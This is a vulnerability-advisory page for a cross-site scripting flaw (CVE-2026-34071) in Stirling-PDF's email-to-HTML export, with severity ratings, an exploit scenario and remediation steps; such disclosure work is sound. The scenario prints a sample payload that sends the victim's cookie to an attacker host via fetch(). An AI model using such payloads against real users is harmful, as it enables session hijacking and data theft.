Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS v3.1 score of 5.4 (Medium) reflects a network-accessible vector with low attack complexity and no privilege requirements, but limited impact scope (user context only). However, this severity assessment should be contextualized against exploitation signals: a proof-of-concept has been demonstrated (per SSVC data indicating 'Exploitation: poc'), indicating the vulnerability is straightforward to exploit and not hypothetical. The SSVC framework notes the impact is 'partial' (limited to confidentiality and integrity of user session/data) and the attack is 'not automatable' (requires user interaction to export email via the specific feature). The attack vector (AV:N), low complexity (AC:L), and requirement for user interaction (UI:R) align with a stored XSS scenario where the malicious payload must be sent to a target user. Real-world risk is moderate: this affects only users who actively use the email-to-HTML export feature with the downloadHtml flag, a narrower attack surface than general-purpose web applications. The requirement for user action and the local/self-hosted nature of Stirling-PDF (reducing exposure compared to SaaS platforms) suggest this is a meaningful but not critical priority for organizations running Stirling-PDF in production. |
| Exploit ScenarioDerived | An attacker crafts a malicious email containing JavaScript payloads embedded in HTML tags (e.g., <img src=x onerror="fetch('https://attacker.com/?cookie='+document.cookie)"> or <script>alert('XSS')</script>) and sends it to a Stirling-PDF user. When the user processes this email through the Stirling-PDF interface and requests the 'Download HTML intermediate file' export with downloadHtml=true, the application returns the email body as unsanitized HTML with Content-Type: text/html, causing the user's browser to parse and execute the embedded JavaScript. The attacker's script executes in the context of the user's session, allowing theft of session tokens, CSRF attacks against local services, or exfiltration of sensitive data accessible to the user's browser. Proof-of-concept code demonstrating this attack flow has been published, making exploitation straightforward for technical users. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 26, 2026
Stirling-PDF version 2.7.3 fails to sanitize HTML content from email bodies in the /api/v1/convert/eml/pdf endpoint when the downloadHtml=true parameter is set, allowing unauthenticated remote attackers to inject and execute arbitrary JavaScript code. An attacker can craft a malicious email that, when processed by a Stirling-PDF user through the 'Download HTML intermediate file' feature, executes JavaScript in the user's browser context with access to local data and session tokens. Proof-of-concept code has been demonstrated, and the vendor released version 2.8.0 to address the vulnerability.
RemediationAI
Upgrade Stirling-PDF to version 2.8.0 or later to obtain the patched version. Until upgrade is feasible, restrict access to the /api/v1/convert/eml/pdf endpoint to trusted internal users only, disable or restrict the downloadHtml parameter if possible through application configuration, and avoid processing emails from untrusted sources through the HTML export feature. Implement a reverse proxy with Content-Security-Policy (CSP) headers to block inline script execution and restrict script sources. Network-level controls should limit Stirling-PDF access to authorized users only. See the vendor advisory at https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-xmhg-fv84-jgfc for detailed patch information.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Stirling-PDF is a locally hosted web application (cpe:2.3:a:stirling-tools:stirling-pdf) that processes PDF and email file formats. The vulnerability exists in the email-to-PDF conversion endpoint (/api/v1/convert/eml/pdf) which accepts HTML content from email message bodies and returns it with Content-Type: text/html without proper HTML sanitization or encoding. The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation, also known as Cross-site Scripting or XSS). When an attacker-controlled email is processed with the downloadHtml parameter enabled, the application streams unsanitized HTML directly to the user's browser, allowing embedded script tags or event handlers within the email body to execute in the security context of the Stirling-PDF domain.
Know when Stirling Pdf gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Stirling-PDF is a locally hosted web application that allows you to perform various operations on PDF files. In version 2.7.3, the /api/v1/convert/eml/pdf endpoint with parameter downloadHtml=true returns unsanitized HTML from the email body with Content-Type: text/html. An attacker who sends a malicious email to a Stirling-PDF user can achieve JavaScript execution when that user exports the email using the "Download HTML intermediate file" feature. Version 2.8.0 fixes the issue.
Executive ViewAI
Organizations using Stirling-PDF should be aware of moderate risk from CVE-2026-34071, a cross-site scripting vulnerability rated CVSS 5.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Stirling Pdf
View allStirling-PDF is a locally hosted web application that performs various operations on PDF files. Rated high severity (CVS
Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Rated high severity (CVS
Stirling-PDF 2.13.2 through 3.2.0 lets an authenticated administrator regain Java method execution by uploading a crafte
Stirling-PDF is a locally hosted web application that allows you to perform various operations on PDF files. Rated high
Authenticated users on multi-user Stirling-PDF 3.0.0 through 3.2.0 can reach other tenants' stored documents by creating
Server-side request forgery in Stirling-PDF's POST /api/v1/convert/url/pdf endpoint allows unauthenticated remote attack
Privilege escalation in Stirling-PDF before 2.9.0 allows any authenticated ROLE_USER to obtain the privileged STIRLING-P
Stored cross-site scripting in Stirling-PDF prior to version 2.0.0 allows an attacker to embed JavaScript payloads insid
Stirling-PDF, a locally hosted web application for PDF operations, contains a path traversal vulnerability in the /api/v
Stirling-PDF before 3.0.0 lets remote attackers turn its AI PDF tool into a server-side request forgery and local file d
Stirling-PDF versions 2.1.5 through 2.5.1 are vulnerable to resource exhaustion denial of service through the watermark
A vulnerability was found in Stirling-Tools Stirling-PDF up to 0.28.3. Rated low severity (CVSS 2.3), this vulnerability
EUVD-2026-16271
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB